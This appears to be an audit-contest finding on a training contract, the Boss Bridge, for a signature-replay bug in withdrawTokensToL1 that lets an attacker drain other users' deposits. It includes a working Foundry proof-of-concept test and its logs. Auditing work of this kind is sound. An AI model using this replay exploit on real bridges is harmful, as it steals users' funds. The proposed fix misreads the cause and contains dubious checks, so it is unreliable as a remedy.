First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Signer can withdraw multiple times, potentially emptying the vault.

0xtheblackpanther

Summary

Owner's permission for a user to become a signer allows them to execute the withdrawal function multiple times, posing a risk of emptying the vault, with no safeguards to prevent multiple withdrawals.

Vulnerability Details

Lack of safeguards in L1BossBridge.sol::withdrawTokensToL1 enables signed users to repeatedly execute the withdrawal function, potentially emptying the vault.

Impact

The impact is that a signed user can potentially deplete the vault by repeatedly executing the withdrawal function.

POC

  • considering attacker and user have 10e18 deposit amount each and they deposit it

  • copy paste the below test case

  • run forge test --match-test testAttackerCanWithdrawMultipleTimes -vvvv

Results:

Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] testAttackerCanWithdrawMultipleTimes() (gas: 142096)
Logs:
Vault Balance After Attacker and User deposits: 20000000000000000000
Vault Balance After Attacker withdrawal of his funds: 10000000000000000000
Vault Balance after attacker withdraw USER funds from vault: 0
User Balance at END 0
Attacker Balance at END 20000000000000000000

Test:

function testAttackerCanWithdrawMultipleTimes() public {
vm.startPrank(attacker);
uint256 depositAmount = 10e18;
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(attacker, userInL2, depositAmount);
​
vm.startPrank(user);
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
console.log("Vault Balance After Attacker and User deposits: ", token.balanceOf(address(vault)));
​
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(attacker, depositAmount), operator.key);
tokenBridge.withdrawTokensToL1(attacker, 10e18, v, r, s);
console.log("Vault Balance After Attacker withdrawal of his funds: ", token.balanceOf(address(vault)));
​
tokenBridge.withdrawTokensToL1(attacker, 10e18, v, r, s); // in here attacker has withdrawn more ETH from Vault
​
console.log("Vault Balance after attacker withdraw USER funds from vault: ", token.balanceOf(address(vault)));
console.log("User Balance at END", token.balanceOf(address(user)));
console.log("Attacker Balance at END", token.balanceOf(address(attacker)));
​
assertEq(token.balanceOf(address(vault)), 0);
}

Tools Used

  • Manual review and foundry

Recommendations

Fix: Implement a mechanism that tracks the amount already withdrawn by a signed user and limits subsequent withdrawals to the remaining balance in the vault for that user.

+mapping(address => uint256) public withdrawnBalances; // Track withdrawn amounts for each signer

In withdraw function add these lines

function withdrawTokensToL1(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) external {
+ require(signers[msg.sender], "Signer only");
+ uint256 availableBalance = vault.balanceOf(msg.sender) - withdrawnBalances[msg.sender];
+ require(amount <= availableBalance, "Exceeds available balance");
+ withdrawnBalances[msg.sender] += amount;

In this modified contract, the withdrawTokensToL1 function checks the available balance for the signed user and ensures that withdrawals do not exceed it. The withdrawnBalances mapping tracks the cumulative withdrawn amounts for each signer.

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1(): No check for deposits amount

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.